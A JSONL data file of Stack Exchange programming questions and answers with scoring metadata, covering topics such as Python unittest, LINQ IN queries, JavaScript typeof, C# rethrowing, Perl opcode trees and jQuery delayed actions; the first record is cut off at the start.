**kwargs):\n        try:\n            callableObj(*args, **kwargs)\n        except excClass, excObj:\n            return excObj # Actually return the exception object\n        else:\n            if hasattr(excClass,'__name__'): excName = excClass.__name__\n            else: excName = str(excClass)\n            raise self.failureException, \"%s not raised\" % excName\n\n    def testInsufficientArgs(self):\n        foo = 0\n        excObj = self.failUnlessRaises(ValueError, MyClass, foo)\n        self.failUnlessEqual(excObj[0], 'foo is not equal to 1!')\n```\n```\nI have copied the failUnlessRaises function from unittest.py from python2.5 and modified it slightly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.620565"}
{"id": "hf_41cbbcba596c", "question": "<p>I'm trying to build a better username/password field for my workplace and would like to be able to complain when they have their caps lock on.</p>\n\n<p>Is this possible?  And if so I'd like to have it detected before the client types their first letter.</p>\n\n<p>Is there a non-platform specific way to do this?</p>\n", "question_body": "", "answer": "Try this, from java.awt.Toolkit, returns a boolean:\n```\n```\nToolkit.getDefaultToolkit().getLockingKeyState(KeyEvent.VK_CAPS_LOCK)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.757599"}
{"id": "hf_22a971eff400", "question": "<p>Most of the MVC samples I have seen pass an instance of the view to the controller like this</p>\n\n<pre><code>public class View  \n{  \nController controller = new Controller(this);  \n}\n</code></pre>\n\n<p>Is there any advantage to passing a class which provides access to just the  the properties and events the controller is interested in, like this:</p>\n\n<pre><code>public class UIWrapper\n{\nprivate TextBox textBox;\n\npublic TextBox TextBox\n{\nget {return textBox;}\n}\n\npublic UIWrapper(ref TextBox textBox)\n{\nthis.textBox = textBox;\n}\n\n\npublic class View\n{\nUIWrapper wrapper = new UIWrapper(this);\nController controller = new Controller(wrapper)\n}\n</code></pre>\n", "question_body": "", "answer": "This is probably not the solution you want, but just to help you with the log parsing, you can use this to get counts for each from the logs (assuming you're on a linux server) :\n```\n```\ngrep -c \\.swz web_log_dir/* \ngrep -c \\.swf web_log_dir/*\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.806655"}
{"id": "hf_2975ab48599c", "question": "<p>Does anybody know how to apply a \"where in values\" type condition using LINQ-to-Entities?  I've tried the following but it doesn't work:</p>\n\n<pre><code>var values = new[] { \"String1\", \"String2\" };  // some string values\n\nvar foo = model.entitySet.Where(e =&gt; values.Contains(e.Name));\n</code></pre>\n\n<p>I believe this works in LINQ-to-SQL though?  Any thoughts?</p>\n", "question_body": "", "answer": "Yes it does translate to SQL, it generates a standard IN statement like this:\n```\n```\nSELECT [t0].[col1]\nFROM [table] [t0]\nWHERE [col1] IN ( 'Value 1', 'Value 2')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.871432"}
{"id": "hf_17564ff8fe41", "question": "<p>I'm a little hesitant to post this, as I'm not completely sure what I'm doing. Any help would be wonderful.</p>\n\n<p>I'm on a computer with a firewall/filter on it. I can download files without any difficulty. When I try to clone files from Github, though, the computer just hangs. Nothing happens. It creates a git file in the folder, but the key files don't get loaded in. For context, I'm working on a Rails app, trying to load in Restful Authentication.</p>\n\n<p>Have any of you dealt with this? Any suggestions for getting the clone to work? Disabling the firewall might be an option, but if I can do something without going through that process, I'd appreciate it.</p>\n", "question_body": "", "answer": "The\n```\ngit://\n```\nprotocol uses port 9418, so you should make sure your firewall allows outbound connections to this port.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.895242"}
{"id": "hf_e7d668d82158", "question": "<p>This is a follow up question to <a href=\"https://stackoverflow.com/questions/85815/how-to-tell-if-a-javascript-function-is-defined\">This Question</a>. </p>\n\n<p>I like (and understand) the solution there. However, in the code I am working in, another way to solve the same problem is used:</p>\n\n<pre><code>function exist(sFN) {\n    if(self[sFN]) return true;\n    return false;\n}\n</code></pre>\n\n<p>It seems to work fine, although I don't understand how. Does it work? How? What are minuses of this approach? Should I switch to solution from the other question?</p>\n", "question_body": "", "answer": "just use\n```\ntypeof\n```\n.\n```\n```\ntypeof(foobar)  // -> undefined\ntypeof(alert)   // -> function\n```\n```\nYou can't, however, defined a function based on typeof, because you'd need to pass an identifier which might not exist. So if you define\n```\nfunction isfun(sym) { return typeof(sym) }\n```\n, and then tried calling\n```\nisfun(inexistent)\n```\n, your code would throw.\nThe fun thing about\n```\ntypeof\n```\nis that it's an operator, not a function. So you can use it to check a symbol that's not defined without throwing.\nif you assume a function in the global scope (i.e., not within a closure), you can define a function to check it as follows:\n```\n```\nfunction isfun(identifier) {\n  return typeof(window[identifier]) == 'function';\n}\n```\n```\nHere you pass an string for the identifier, so:\n```\n```\nisfun('alert');   // -> true\nisfun('foobar');  // -> false\n```\n```\nclosure?\nHere's an example of a function defined within a closure. Here, the printed value would be\n```\nfalse\n```\n, which is wrong.\n```\n```\n(function closure() { \n  function enclosed() {}\n  print(isfun('enclosed'))\n})()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.931901"}
{"id": "hf_23ee2015b4ae", "question": "<p>Is there a way to get a <code>DrawingContext</code> (or something similar) for a <code>WriteableBitmap</code>?  I.e. something to allow you to call simple <code>DrawLine</code>/<code>DrawRectangle</code>/etc kinds of methods, rather than manipulate the raw pixels directly.</p>\n", "question_body": "", "answer": "I'm wondering the same thing, as currently I do something like:\n```\n```\nDrawingVisual drawingVisual = new DrawingVisual();\nusing (DrawingContext drawingContext = drawingVisual.RenderOpen())\n{\n   //\n   // ... draw on the drawingContext\n   //\n   RenderTargetBitmap bmp = new RenderTargetBitmap(width, height, dpi, dpi, PixelFormats.Default);\n   bmp.Render(drawingVisual);\n   image.Source = bmp;\n}\n```\n```\nI'm trying to use the WriteableBitmap to allow multithreaded access to the pixel buffer, which is currently not allowed with neither a DrawingContext nor a RenderTargetBitmap. Maybe some sort of WritePixels routine based off of what you've retrieved from the RenderTargetBitmap would work?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.957576"}
{"id": "hf_84b74cbc41e4", "question": "<p>Is there a difference between just saying <code>throw;</code> and <code>throw ex;</code> assuming <code>ex</code> is the exception you're catching?</p>\n", "question_body": "", "answer": "```\nthrow ex;\n```\nwill erase your stacktrace. Don't do this unless you mean to clear the stacktrace. Just use\n```\nthrow;\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:59.993883"}
{"id": "hf_dc1dd27a6903", "question": "<p>I wanting to show prices for my products in my online store.\nI'm currently doing:</p>\n\n<pre><code>&lt;span class=\"ourprice\"&gt;\n     &lt;%=GetPrice().ToString(\"C\")%&gt;\n&lt;/span&gt;\n</code></pre>\n\n<p>Where GetPrice() returns a decimal. So this currently returns a value e.g. \"£12.00\"</p>\n\n<p>I think the correct HTML for an output of \"£12.00\" is \"<code>&amp;pound;12.00</code>\", so although this is rendering fine in most browsers, some browsers (Mozilla) show this as $12.00. </p>\n\n<p>(The server is in the UK, with localisation is set appropriately in web.config).</p>\n\n<p>Is the below an improvement, or is there a better way?</p>\n\n<pre><code>&lt;span class=\"ourprice\"&gt;\n     &lt;%=GetPrice().ToString(\"C\").Replace(\"£\",\"&amp;pound;\")%&gt;\n&lt;/span&gt;\n</code></pre>\n", "question_body": "", "answer": "Try this, it'll use your locale set for the application:\n```\n```\n<%=String.Format(\"{0:C}\",GetPrice())%>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.030318"}
{"id": "hf_319858f06d2a", "question": "<p>In Perl, a conditional can be expressed either as</p>\n\n<pre><code>if (condition) { do something }\n</code></pre>\n\n<p>or as</p>\n\n<pre><code>(condition) and do { do something }\n</code></pre>\n\n<p>Interestingly, the second way seems to be about 10% faster. Does anyone know why?</p>\n", "question_body": "", "answer": "I've deparsed it, and it really shouldn't be faster. The opcode tree for the first is\n```\n```\nLISTOP (0x8177a18) leave [1] \n    OP (0x8176590) enter \n    COP (0x8177a40) nextstate \n    LISTOP (0x8177b20) scope \n        OP (0x81779b8) null [174] \n        UNOP (0x8177c40) dofile \n            SVOP (0x8177b58) const [1] PV (0x81546e4) \"something\"\n```\n```\nThe opcode tree for the second is\n```\n```\nLISTOP (0x8177b28) leave [1] \n    OP (0x8176598) enter \n    COP (0x8177a48) nextstate \n    UNOP (0x8177980) null \n        LISTOP (0x8177ca0) scope \n            OP (0x81779c0) null [174] \n            UNOP (0x8177c48) dofile \n                SVOP (0x8177b60) const [1] PV (0x81546e4) \"something\"\n```\n```\nI really don't see how the latter could be faster. It does an opcode more!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.067012"}
{"id": "hf_87d37d208684", "question": "<p>In <em>C++</em>, I can have take input like this: </p>\n\n<pre><code>cin &gt;&gt; a &gt;&gt; b &gt;&gt; c;\n</code></pre>\n\n<p>And <code>a</code> can be <code>int</code>, <code>b</code> can be <code>float</code>, and <code>c</code> can be whatever... How do I do the same in <em>python</em>?</p>\n\n<p><code>input()</code> and <code>raw_input()</code>, the way I'm using them, don't seem to be giving me the desired results.</p>\n", "question_body": "", "answer": "You generally shouldn't use\n```\ninput()\n```\nin production code. If you want an\n```\nint\n```\nand then a\n```\nfloat\n```\n, try this:\n```\n```\n>>> line = raw_input().split()\n>>> a = int(line[0])\n>>> b = float(line[1])\n>>> c = \" \".join(line[2:])\n```\n```\nIt all depends on what exactly you're trying to accomplish, but remember that readability counts. Obscure one-liners may seem cool but in the face of maintainability, try to choose something sensible :)\n(P.S.: Don't forget to check for errors with\n```\ntry: ... except (ValueError, IndexError):\n```\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.091433"}
{"id": "hf_1592c24839ad", "question": "<p>In a custom module for drupal 4.7 I hacked together a node object and passed it to node_save($node) to create nodes.  This hack appears to no longer work in drupal 6.  While I'm sure this hack could be fixed I'm curious if there is a standard solution to create nodes without a form.  In this case the data is pulled in from a custom feed on another website.</p>\n", "question_body": "", "answer": "I don't know of a standard API for creating a node pragmatically. But this is what I've gleaned from building a module that does what you're trying to do.\nMake sure the important fields are set: uid, name, type, language, title, body, filter (see\n```\nnode_add()\n```\nand\n```\nnode_form()\n```\n)\nPass the node through\n```\nnode_object_prepare()\n```\nso other modules can add to the $node object.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.129398"}
{"id": "hf_0e710de29642", "question": "<p>Does anyone know if it's possible to use regex capture within Apache's DirectoryMatch directive? I'd like to do something like the following:</p>\n\n<pre><code>&lt;DirectoryMatch ^/home/www/(.*)&gt;\n    AuthType Basic\n    AuthName $1\n    AuthUserFile /etc/apache2/svn.passwd\n    Require group $1 admin\n&lt;/DirectoryMatch&gt;\n</code></pre>\n\n<p>but so far I've had no success.</p>\n\n<p>Specifically, I'm trying to create a group-based HTTP Auth for individual directories/vhosts on a server in Apache 2.0. </p>\n\n<p>For example, Site A, pointing to /home/www/a will be available to all users in group admin and group a, site b at /home/www/b will be available to all users in group admin and group b, etc. I'd like to keep everything based on the directory name so I can easily script adding htpasswd users to the correct groups and automate this as much as possible, but other suggestions for solving the problem are certainly welcome.</p>\n", "question_body": "", "answer": "What you are trying to do looks very similar to\nper-user home directories\n.  The way Apache handles these is through file system permissions and\n.htaccess files\n.  I don't believe there is any way to use regex capture in the enclosed directives (AuthName, etc).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.154203"}
{"id": "hf_dd3f49a91de6", "question": "<p>In C++, you can specify that a function may or may not throw an exception by using an exception specifier. For example:</p>\n\n<pre><code>void foo() throw(); // guaranteed not to throw an exception\nvoid bar() throw(int); // may throw an exception of type int\nvoid baz() throw(...); // may throw an exception of some unspecified type\n</code></pre>\n\n<p>I'm doubtful about actually using them because of the following:</p>\n\n<ol>\n<li>The compiler doesn't really enforce exception specifiers in any rigorous way, so the benefits are not great. Ideally, you would like to get a compile error.</li>\n<li>If a function violates an exception specifier, I think the standard behaviour is to terminate the program.</li>\n<li>In VS.Net, it treats throw(X) as throw(...), so adherence to the standard is not strong.</li>\n</ol>\n\n<p>Do you think exception specifiers should be used?<br>\nPlease answer with \"yes\" or \"no\" and provide some reasons to justify your answer.</p>\n", "question_body": "", "answer": "Generally I would not use exception specifiers.  However, in cases where if any other exception were to come from the function in question that the program would definitively be unable to\ncorrect\n, then it can be useful.  In all cases, make sure to document clearly what exceptions could be expected from that function.\nYes, the expected behavior of a non-specified exception being thrown from a function with exception specifiers is to call terminate().\nI will also note that Scott Meyers addresses this subject in More Effective C++.  His Effective C++ and More Effective C++ are highly recommended books.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.190308"}
{"id": "hf_0fb7dc62b1fe", "question": "<p>How do I tokenize the string:</p>\n<pre><code>&quot;2+24*48/32&quot;\n</code></pre>\n<p>Into a list:</p>\n<pre><code>['2', '+', '24', '*', '48', '/', '32']\n</code></pre>\n", "question_body": "", "answer": "Regular expressions:\n```\n```\n>>> import re\n>>> splitter = re.compile(r'([+*/])')\n>>> splitter.split(\"2+24*48/32\")\n```\n```\nYou can expand the regular expression to include any other characters you want to split on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.227610"}
{"id": "hf_899d61fea138", "question": "<p>I've been looking at ways people test their apps in order decide where to do caching or apply some extra engineering effort, and so far httperf and a simple sesslog have been quite helpful.</p>\n\n<p>What tools and tricks did you apply on your projects?</p>\n", "question_body": "", "answer": "I use httperf for a high level view of performance.\nRails has a performance script built in, that uses the ruby-prof gem to analyse calls deep within the Rails stack. There is an awesome\nRailscast\non\nRequest Profiling\nusing this technique.\nNewRelic\nhave some seriously cool analysis tools that give near real-time data.\nThey just made it a \"Lite\" version available for free.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.294015"}
{"id": "hf_857bbe083a27", "question": "<p>I want to draw user interfaces for web and desktop applications.</p>\n\n<p>I need something less print-oriented than omnigraffle. think pixels!</p>\n\n<p>Also, need good building blocks (aka stencils). Form elements, tableviews, etc.</p>\n", "question_body": "", "answer": "I very much like\nOmnigraffle\n, with\nstencils\nfor UI design. More UI stencils are\nalso available\n.\nYou might also check some\nother\nstackoverflow\nquestions\non this topic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.355589"}
{"id": "hf_f8c5949cff7a", "question": "<p>I want to use <a href=\"http://alistapart.com/articles/sprites\" rel=\"noreferrer\">CSS sprites</a> on a web site instead of separate image files, for a large collection of small icons that are all the same size. How can I concatenate (tile) them into one big image using <a href=\"http://www.imagemagick.org/\" rel=\"noreferrer\">ImageMagick</a>?</p>\n", "question_body": "", "answer": "From the page you linked,\n'montage'\nis the tool you want. It'll take a bunch of images and concatenate/tile them into a single output. Here's an example image I've made before using the tool:\n(source:\ndavr.org\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.392046"}
{"id": "hf_5fc5a63c7a52", "question": "<p>Is there any centralized repository of useful Objective-C / Cocoa libraries as there is for Perl, Ruby, Python, etc.?</p>\n\n<p>In building my first iPhone app, I'm finding myself implementing some very basic functions that would be just a quick \"gem install\" away in Ruby.</p>\n", "question_body": "", "answer": "Unfortunately not :(\nThere are some very useful sites however.  I find one of the best is\ncocoadev.com\nas it contains lots of useful information about many of the more obscure classes usually including snippets of code to do some really cool things :)\nMaybe we (the cocoa community) should look into building something like this!\nOh and I just remembered this site\ncocoadevcentral.com\nwhich is also very good for starting out with cocoa.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.431112"}
{"id": "hf_33c29a258f3c", "question": "<p>Do you think ASP.NET MVC will ever have a significant share of the Microsoft web development market? Or will it be more like 10-15% of the market?</p>\n", "question_body": "", "answer": "I think it will be a slow start because of the webforms install base.  As unit testing and markup control starts to become\nmore important to more people\nthen I think you start to see a migration.  I doubt that it will ever reach 100% of the MS install base for a web platform but it will be a steady rise over the next years to come.  There will be the fan-boys who will say this will dominate planet sliced bread but that just isn't realistic.  With that, I'm hoping not to have to use Webforms for a long, long time.\nEDIT:\nNow that we are at Beta 1 we are\nstarting\nto see the component vendors start to ship some stuff.  Looks like first up to bat is Telerik with their\nASP.NET Ajax Controls in ASP.NET MVC", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.503443"}
{"id": "hf_282061886687", "question": "<p>What are the advantages and disadvantages of the Session Façade Core J2EE Pattern? </p>\n\n<p>What are the assumptions behind it? </p>\n\n<p>Are these assumptions valid in a particular environment? </p>\n", "question_body": "", "answer": "Session Facade is a fantastic pattern - it is really a specific version of the Business Facade pattern.  The idea is to tie up business functionality into discrete bundles - such as TransferMoney(), Withdraw(), Deposit()...  So that your UI code is accessing things in terms of business operations instead of low level data access or other details that it shouldn't have to be concerned with.\nSpecifically with the Session Facade - you use a Session EJB to act as the business facade - which is nice cause then you can take advantage of all the J2EE services (authentication/authorization, transactions, etc)...\nHope that helps...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.579732"}
{"id": "hf_62a39e08ef75", "question": "<p>In Java, I have a String and I want to encode it as a byte array (in UTF8, or some other encoding). Alternately, I have a byte array (in some known encoding) and I want to convert it into a Java String. How do I do these conversions?</p>\n", "question_body": "", "answer": "```\n```\nString original = \"hello world\";\nbyte[] utf8Bytes = original.getBytes(\"UTF-8\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.615845"}
{"id": "hf_d5b0bef243dd", "question": "<p>We're working on a very large .NET WinForms composite application - not CAB, but a similar home grown framework.  We're running in a Citrix and RDP environment running on Windows Server 2003.  </p>\n\n<p>We're starting to run into random and difficult to reproduct \"Error creating window handle\" error that seems to be an old fashion handle leak in our application.  We're making heavy use of 3rd Party controls (Janus GridEX, Infralution VirtualTree, and .NET Magic docking) and we do a lot of dynamic loading and rendering of content based on metadata in our database.</p>\n\n<p>There's a lot of info on Google about this error, but not a lot of solid guidance about how to avoid issues in this area.</p>\n\n<p>Does the stackoverflow community have any good guidance for me for building handle-friendly winforms apps?</p>\n", "question_body": "", "answer": "I have tracked down a lot of issues with UIs not unloading as expected in WinForms.\nHere are some general hints:\nalot of the time, a control will stay in use because controls events are not properly removed (the tooltip provider caused us really large issues here) or the controls are not properly Disposed.\nuse 'using' blocks around all modal dialogs to ensure that they are Disposed\nthere are some control properties that will force the creation of the window handle before it is necessary (for example setting the ReadOnly property of a TextBox control will force the control to be realized)\nuse a tool like the\n.Net Memory profiler\nto get counts of the classes that are created.  Newer versions of this tool will also track GDI and USER objects.\ntry to minimize your use of Win API calls (or other DllImport calls).  If you do need to use interop, try to wrap these calls in such a way that the using/Dispose pattern will work correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.674936"}
{"id": "hf_6f28723ae703", "question": "<p>When defining or calling functions with enough arguments to span multiple lines, I want vim to line them up. For example,</p>\n\n<pre><code>def myfunction(arg1, arg2, arg, ...\n               argsN-1, argN)\n</code></pre>\n\n<p>The idea is for argsN-1 to have its 'a' lined up with args1.</p>\n\n<p>Does anyone have a way to have this happen automatically in vim? I've seen the align plugin for lining equal signs (in assignment statements) and such, but I'm not sure if it can be made to solve this problem?</p>\n", "question_body": "", "answer": "I believe you have to issue the command:\n```\n```\n:set cino=(0\n```\n```\nThis is when using cindent of course.\nedit: I missed \"set\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.722702"}
{"id": "hf_0f93f56289d2", "question": "<p>When <code>{0}</code> is used to initialize an object, what does it mean? I can't find any references to <code>{0}</code> anywhere, and because of the curly braces Google searches are not helpful.</p>\n\n<p>Example code:</p>\n\n<pre><code>SHELLEXECUTEINFO sexi = {0}; // what does this do?\nsexi.cbSize = sizeof(SHELLEXECUTEINFO);\nsexi.hwnd = NULL;\nsexi.fMask = SEE_MASK_NOCLOSEPROCESS;\nsexi.lpFile = lpFile.c_str();\nsexi.lpParameters = args;\nsexi.nShow = nShow;\n\nif(ShellExecuteEx(&amp;sexi))\n{\n    DWORD wait = WaitForSingleObject(sexi.hProcess, INFINITE);\n    if(wait == WAIT_OBJECT_0)\n        GetExitCodeProcess(sexi.hProcess, &amp;returnCode);\n}\n</code></pre>\n\n<p>Without it, the above code will crash on runtime.</p>\n", "question_body": "", "answer": "What's happening here is called\naggregate\ninitialization.  Here is the (abbreviated) definition of an aggregate from section 8.5.1 of the ISO spec:\nAn aggregate is an array or a class with no user-declared constructors, no private or protected non-static data members, no base classes, and no virtual functions.\nNow, using\n```\n{0}\n```\nto initialize an aggregate like this is basically a trick to\n```\n0\n```\nthe entire thing.  This is because when using aggregate initialization\nyou don't have to specify all the members\nand the spec requires that all unspecified members be default initialized, which means set to\n```\n0\n```\nfor simple types.\nHere is the relevant quote from the spec:\nIf there are fewer initializers in the list than there are members in the\n  aggregate, then each member not\n  explicitly initialized shall be\n  default-initialized.\n  Example:\n```\n```\nstruct S { int a; char* b; int c; };\nS ss = { 1, \"asdf\" };\n```\n```\ninitializes\n```\nss.a\n```\nwith\n```\n1\n```\n,\n```\nss.b\n```\nwith\n```\n\"asdf\"\n```\n, and\n```\nss.c\n```\nwith the value of an\n  expression of the form\n```\nint()\n```\n, that is,\n```\n0\n```\n.\nYou can find the complete spec on this topic\nhere", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.772115"}
{"id": "hf_a603af9da4ea", "question": "<p>At what length of text and/or length of audio snippet does a piece of commercially distributable software pass the threshold of fair use and violate the included work's copyright?  Does attribution absolve the developer from infringement?  An example would be a quote from a novel used on a start-up screen.</p>\n", "question_body": "", "answer": "Unfortunately, there is no cut and dried answer.  Determining what is fair use involves a very subjective and fact-dependent\nfour point test\n.  You're never really going to know for sure if a borderline use is permissible or not unless you end up in court and a judge decides.\nThe four factors are:\nthe purpose and character of the use, including whether such use is of a commercial nature or is for nonprofit educational purposes;\nthe nature of the copyrighted work;\nthe amount and substantiality of the portion used in relation to the copyrighted work as a whole; and\nthe effect of the use upon the potential market for or value of the copyrighted work.\nEach of these has a specific legal meaning based on previous precedents (which may or may not correspond to what most people would think of as the plain language meaning).  If you're doing anything that could get you sued, talk to a lawyer.\nSoftware is even more complicated, since not all code is copyrightable to begin with.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.838318"}
{"id": "hf_7283eb40047b", "question": "<p>What I'd like to know is if there is a nice way to queue jQuery functions to execute after a set amount of time. This wouldn't pause the execution of other functions, just the ones following in the chain. Perhaps an example of what I'd envisage it would look like would illustrate:</p>\n\n<pre><code>$('#alert')\n    .show()\n    .wait(5000)    // &lt;-- this bit\n    .hide()\n;\n</code></pre>\n\n<p>I know that it's possible by using timeouts, but it seems like that's a messy way to do it, especially compared to the above example (if it were real).</p>\n\n<p>So, is something like this already built-in to jQuery, and if not, what is the best way to emulate it?</p>\n", "question_body": "", "answer": "You can't do that, and you probably don't want to.  While it certainly looks pretty, there is no mechanism in Javascript that will allow you do to that without just looping in \"wait\" until the time has passed.  You could certainly do that but you risk seriously degrading the browser performance and if your timeout is longer than a handful of seconds browsers will show a warning to the user that your javascript seems to be stuck.\nThe correct way to do this is with timeouts:\n```\n```\nvar el = $('#alert');\nel.show()\nsetTimeout(function() { el.hide() }, 5000);\n```\n```\nYour other option would be to extend jquery to essentially add an effect for actions you want to delay:\n```\n```\njQuery.fn.extend({\n    delayedHide: function(time) {\n        var self = this;\n        setTimeout(function() { self.hide(); }, time);\n    }\n});\n\n$('#alert')\n    .show()\n    .delayedHide(5000)\n;\n```\n```\nYou could also extend jquery with a method similar to setTimeout:\n```\n```\njQuery.fn.extend({\n    delayThis: function(fn, time, args) {\n        var self = this;\n        setTimeout(function() { jQuery.fn[fn].apply(self, args); }, time);\n    }\n});\n\n$('#alert')\n    .show()\n    .delayThis('hide', 5000)\n;\n```\n```\nor to call with args pass arguments in an array:\n```\n```\n$('#alert')\n    .show()\n    .delayThis('css', 5000, [ 'display', 'none' ])\n;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:00.876109"}
